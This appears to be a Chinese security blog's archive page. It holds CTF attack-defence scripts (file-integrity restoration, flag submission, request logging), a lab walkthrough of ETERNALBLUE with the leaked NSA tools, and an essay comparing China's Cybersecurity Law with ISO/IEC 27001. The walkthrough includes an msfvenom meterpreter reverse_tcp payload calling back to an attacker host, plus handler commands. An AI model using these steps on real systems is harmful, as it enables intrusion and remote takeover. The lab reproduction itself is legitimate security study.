                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] file had be change : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : done_diff: ' + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print '[*] ' + getUnicode(time.ctime())

七、自动提交

有的比赛只有几分钟一轮,手工提交其他队伍flag显然不行,需要准备批量提交flag的脚本:

#!/usr/bin/env python2
import sys
import json
import urllib
import httplib
server_host = '10.10.0.2'
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
    if not team_token or not flag:
        raise Exception('team token or flag not found')
    conn = httplib.HTTPConnection(host, port, timeout=timeout)
    params = urllib.urlencode({
        'token': team_token,
        'flag': flag,
    })
    headers = {
        "Content-type": "application/x-www-form-urlencoded"
    }
    conn.request('POST', '/api/submit_flag', params, headers)
    response = conn.getresponse()
    data = response.read()
    return json.loads(data)

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'usage: ./submitflag.py $team_token $flag'
        sys.exit()
    host = server_host
    if len(sys.argv) > 3:
        host = sys.argv[3]
    print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)

八、流量、日志

通过流量、日志的分析:
1.感知可能正在发生的攻击,从而规避存在的安全风险
2.应急响应,还原攻击者的攻击路径,从而挽回已经造成的损失

ctf6

date_default_timezone_set('Asia/Shanghai');
$ip        = $_SERVER["REMOTE_ADDR"];   //访问IP
$filename  = $_SERVER['PHP_SELF'];  //访问的文件
$parameter = $_SERVER["QUERY_STRING"];  //查询的字符串
$method    = $_SERVER['REQUEST_METHOD']; //请求方法
...
$time      =  date('Y-m-d H:i:s',time()); //请求时间
$post      = file_get_contents("php://input",'r'); //接收POST数据
$others    = '**********************************************************************';
$logadd    = '访问时间:'.$time.'访问IP:'.$ip.'请求方法:'.$method.' '.'访问链接:'.$filename.'?'.$parameter."\r\n";...
//记录写入
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fwrite($fh,print_r($_COOKIE, true)."\r\n");
fwrite($fh,$others."\r\n");
fclose($fh);

NSA 0day ETERNALBLUE 漏洞利用

tinyfisher 发表于 2017-04-15

NSA 0day ETERNALBLUE 漏洞利用

Shadow Brokers再次泄露出一份震惊世界的机密文档,其中包含了多个精美的 Windows 远程漏洞利用工具,可以覆盖大量的 Windows 服务器,一夜之间所有Windows服务器几乎全线暴露在危险之中。

目前已知受影响的 Windows 版本包括但不限于:Windows NT,Windows 2000(没错,古董也支持)、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

工具中的ETERNALBLUE模块是SMB 漏洞利用程序,可以攻击开放了 445 端口的 Windows 机器,本文进行了漏洞利用复现:

1.NSA泄露工具下载地址:
https://github.com/x0rz/EQGRP_Lost_in_Translation

2.安装方法
环境搭建

注意,必须按照python2.6相关版本,其他版本不奏效。

下载python2.6并安装

下载pywin32并安装

将C:\Python26添加到环境变量PATH中。

配置环境

将EQGRP_Lost_in_Translation下载到的文件解压,找到\windows\fb.py,将,下图中两个部分注释掉。

e1
e2

3.实验环境:

攻击机1:192.168.71.133,win server 2008,32bit。
e3
攻击机2:192.168.71.130 kali2
e4
靶机:192.168.199.107,win7 64bit
e5

4.实验步骤:

在靶机1(192.168.71.133)中安装好python、pywin32以及NSA工具,在C:\shadowbroker-master\windows 中执行fb.py:
e6
分别设置攻击IP地址192.168.199.107,回调地址192.168.71.133(攻击机1),关闭重定向,设置日志路径,新建或选择一个project:
e7
接下来输入命令:

use ETERNALBLUE

依次填入相关参数,超时时间等默认参数可以直接回车:

e8
由于靶机是win7 系统,在目标系统信息处选择1:win72k8r2
e9
模式选1:FB
e10
确认信息,执行
e11
e12
成功后,接着运行use Doublepulsar:
e13
并依次填入参数,注意在function处选择2,rundll
e14
同时在攻击机2 kali的msfvenom 生成攻击dll:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.71.130 LPORT=5555 -f dll > go.dll  

e15
接着执行:

$ msfconsole  
msf > use exploit/multi/handler
msf > set LHOST 192.168.71.130
msf > set LPORT 5555
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > exploi  

e16
同时将生成的go.dll上传到攻击机1(192.168.71.133),回到攻击机1,填入攻击dll路径:

e17
接下来一路回车,执行攻击
e18
回到kali,获得shell,攻击成功:
e19

5.缓解措施:

微软表示已经修补了Shadow Brokers小组发布的Windows漏洞。可能源于国家安全局的黑客工具昨天在线发布,微软能够测试并确认修补程序已经可用于所有当前支持的Windows版本。这意味着较旧的Windows XP或Windows Vista系统仍然可能容易受到发布的三个漏洞的攻击,但是由于Microsoft已经不支持,因此Microsoft不太可能为这些旧版本的Windows提供补丁。

请大家及时更新补丁,并关闭必要的139,445,3389端口。

《网络安全法》 VS ISO/IEC 27001

tinyfisher 发表于 2017-02-20

《网络安全法》 VS ISO/IEC 27001

1.《网络安全法》简介

网络安全法》是我国网络安全领域的基础性法律,它明确了部门、企业、社会组织和个人的权利、义务和法律责任,规定了国家网络安全工作的基本原则、主要任务和重大指导思想、理念。

2.ISO/IEC 27001简介

ISO/IEC 27001是国际信息安全管理标准,它着眼于组织的整体业务风险,通过对业务进行风险评估来建立、实施、运行、监视、评审、保持和改进其信息安全管理体系,确保其信息资产的保密性、可用性和完整性。

3.差异分析,明确“底线 ”与“高线”

《网络安全法》和ISO/IEC 27001在性质、针对对象、适用的范围、制定的目的存在一定差异:

性质不同

《网络安全法》是一部法律,法律是国家制定或认可的,以国家强制力保证实施的,以行为和社会关系为调整对象的,以权利和义务为内容的,具有普遍约束力的,反映、维护一定社会历史时期掌握国家政权的阶级的意志和利益的社会规范体系,具有强制性,违反法律规定需要承担相应法律责任,是“底线”。

ISO/IEC 27001是一部国际标准,国际标准是指国际标准化组织(ISO)、国际电工委员会(IEC)和国际电信联盟(ITU)制定的标准,以及国际标准化组织确认并公布的其他国际组织制定的标准。本标准为组织建立、实施、维护和持续改进信息安全管理体系(ISMS)提出相关要求,不具备强制性,采用ISMS与否是企业的一项战略决策,企业可根据自身实际情况进行适当遵守,是“高线”。

针对对象不同

《网络安全法》主要针对国内政府部门、企业、社会组织和个人;

ISO/IEC 27001主要针对企业和组织。

适用范围不同

《网络安全法》适用于在中华人民共和国境内建设、运营、维护和使用网络,以及网络安全的监督管理; ISO/IEC 27001是通用标准,适用于国际各种类型的组织;

制定目的不同

制定《网络安全法》的目的是为了保障网络安全,维护网络空间主权和国家安全、社会公共利益,保护公民、法人和其他组织的合法权益,促进经济社会信息化健康发展。

制定ISO/IEC 27001的目的是为信息安全管理体系的建立、实施、运行和保持改进提供有效的参考。

4.融合互鉴,共促信息安全建设

虽然《网络安全法》和ISO/IEC 27001存在一定差异,但两者都是为了推动企业、组织、国家的信息安全建设工作的开展,促进经济社会信息化健康发展。

《网络安全法》的制定一定程度上会进一步推动国际标准ISO/IEC 27001和国家标准的完善:

《网络安全法》第十五条规定:“国家建立和完善网络安全标准体系。国务院标准化行政主管部门和国务院其他有关部门根据各自的职责,组织制定并适时修订有关网络安全管理以及网络产品、服务和运行安全的国家标准、行业标准。国家支持企业、研究机构、高等学校、网络相关行业组织参与网络安全国家标准、行业标准的制定。”

根据上述条款要求,国家将积极开展网络技术研发和标准制定,鼓励并支持相关组织和机构参与行业标准的制定。ISO/IEC 27001作为国际标准,可以为这些标准的制定提供很好的参考借鉴,而根据ISO/IEC 27001持续改进(PDCA)的要求,相关行业标准的制定也将推动ISO/IEC 27001的进一步完善,从而形成良性循环,实现互利共赢的局面。

ISO/IEC 27001的实施必须充分考虑《网络安全法》因素:

ISO/IEC 27001在多个章节都提到需要考虑到法律的因素,比如“理解组织环境”章节要求:“组织应确定与其总体目标相关的内部和外部环境因素,相关因素将影响其实现信息安全管理体系的预期成果”,其中外部环境包括但不限于:文化、政治、法律、规章、金融、技术、经济、自然环境、竞争环境等。

“理解相关方的需求和期望”章节要求:“相关方的要求包括法律法规要求和合同规定的义务。”

“信息安全风险评估”章节要求“组织应定义和实施信息安全风险评估流程”,而在进行风险评估之前,最重要的就是确定风险评估方法,风险评估方法应满足ISMS的要求、易识别的业务信息安全和法律法规的要求。

“信息安全风险处置”章节要求“组织应定义和实施信息安全风险处置流程”,风险处置在选择控制措施的时候,需要满足法律法规和合同的要求。

因此,企业在参考ISO/IEC 27001建立信息安全管理体系时,一定需要充分考虑到法律因素,尤其《网络安全法》是我国网络安全领域的基础性法律,《网络安全法》的规定将为ISO/IEC 27001标准提供进一步补充。